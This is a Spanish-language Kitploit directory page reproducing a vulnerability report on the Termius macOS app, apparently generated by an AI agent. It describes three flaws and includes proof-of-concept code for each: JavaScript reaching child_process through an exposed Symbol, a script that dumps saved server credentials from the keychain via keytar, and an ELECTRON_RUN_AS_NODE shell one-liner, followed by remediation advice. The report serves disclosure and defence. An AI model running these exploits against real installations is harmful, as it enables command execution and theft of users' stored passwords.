Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-Termius | Kitploit
Herramientas/GitHubGitHub/nicetop1027/cve-2026-termius
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPapers e InvestigaciónMala ConfiguraciónAprendizaje y Educación
GitHubnicetop1027/cve-2026-termius

CVE-2026-Termius

Ver Repositorio
hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Informe de vulnerabilidad de la aplicación Termius para macOS (CVE-2026-Termius)

Objetivo: Termius (macOS) Versión probada: Última (a enero de 2026) Impacto: Ejecución remota de código (RCE), Escalada de privilegios local (LPE), Omisión de la seguridad de la aplicación

🚨 Resumen ejecutivo

Se identificaron tres vulnerabilidades críticas en la aplicación Termius para macOS que permiten a un atacante:

  1. Ejecutar comandos arbitrarios del sistema (RCE) a través de un Symbol de puerta trasera oculto expuesto al renderizador.
  2. Volcar todas las contraseñas guardadas (LPE) abusando del módulo nativo keytar expuesto.
  3. Omitir por completo la seguridad de la aplicación utilizando el fuse ELECTRON_RUN_AS_NODE faltante.

1. Crítica: Ejecución remota de código (RCE) a través de Symbol oculto

Detalles de la vulnerabilidad

La aplicación expone módulos potentes de Node.js (child_process, fs, electron) al proceso renderizador (la parte de interfaz web de la aplicación). Estos módulos están ocultos detrás de un Symbol global en el objeto window para ofuscarlos, pero no están aislados de forma segura.

  • Patrón de código vulnerable:
    root@kitploit:~
    // In extracted app source
    window[Symbol.for("preloadedModulesKey")] = {
        child_process: require('child_process'),
        // ...
    };
    

Exploit (PoC)

Un atacante que logre Cross-Site Scripting (XSS) puede escalar inmediatamente a RCE utilizando este Symbol expuesto.

poc_rce_via_symbol.js:

root@kitploit:~
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");

// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];

if (backdoor && backdoor.child_process) {
    console.log("RCE Target Acquired.");
    // 3. Execute arbitrary system command (e.g., Calculator)
    backdoor.child_process.exec("open -a Calculator");
}

2. Crítica: Volcado local de credenciales (LPE)

Detalles de la vulnerabilidad

El módulo nativo de Node keytar, que Termius utiliza para interactuar con el Llavero (Keychain) de macOS, también está expuesto a través del mismo Symbol oculto. Esto permite que cualquier script que se ejecute dentro del contexto de la aplicación (por ejemplo, un plugin malicioso, XSS o inyección de procesos local) consulte y recupere contraseñas en texto plano de todos los servidores guardados.

Exploit (PoC)

poc_lpe_dump_creds.js:

root@kitploit:~
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];

// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];

// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
    console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
    console.table(credentials);
});

3. Crítica: Fuse de Electron faltante (RunAsNode)

Detalles de la vulnerabilidad

El binario de Termius no deshabilita el fuse ELECTRON_RUN_AS_NODE. Esta es una mala configuración de seguridad crítica que permite a cualquier usuario local ejecutar el binario firmado de Termius como un ejecutable estándar de Node.js. Esto omite por completo las comprobaciones de integridad de la firma de código de macOS para la lógica de la aplicación.

Exploit (PoC)

poc_fuse.sh:

root@kitploit:~
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'

Recomendaciones de remediación (para desarrolladores)

  1. Deshabilitar los fuses de Electron: Deshabilitar explícitamente RunAsNode y EnableNodeCliInspectArguments usando @electron/fuses durante la compilación.
  2. Eliminar la exposición global de Symbol: No adjuntar módulos sensibles a window o global. Usar contextBridge.exposeInMainWorld con una superficie de API restringida que solo exponga las funciones necesarias, no módulos completos.
  3. Sanear IPC: Asegurar que toda la Comunicación entre Procesos (IPC) esté estrictamente tipada y validada.

Informe generado por Antigravity Agent

Descargar herramienta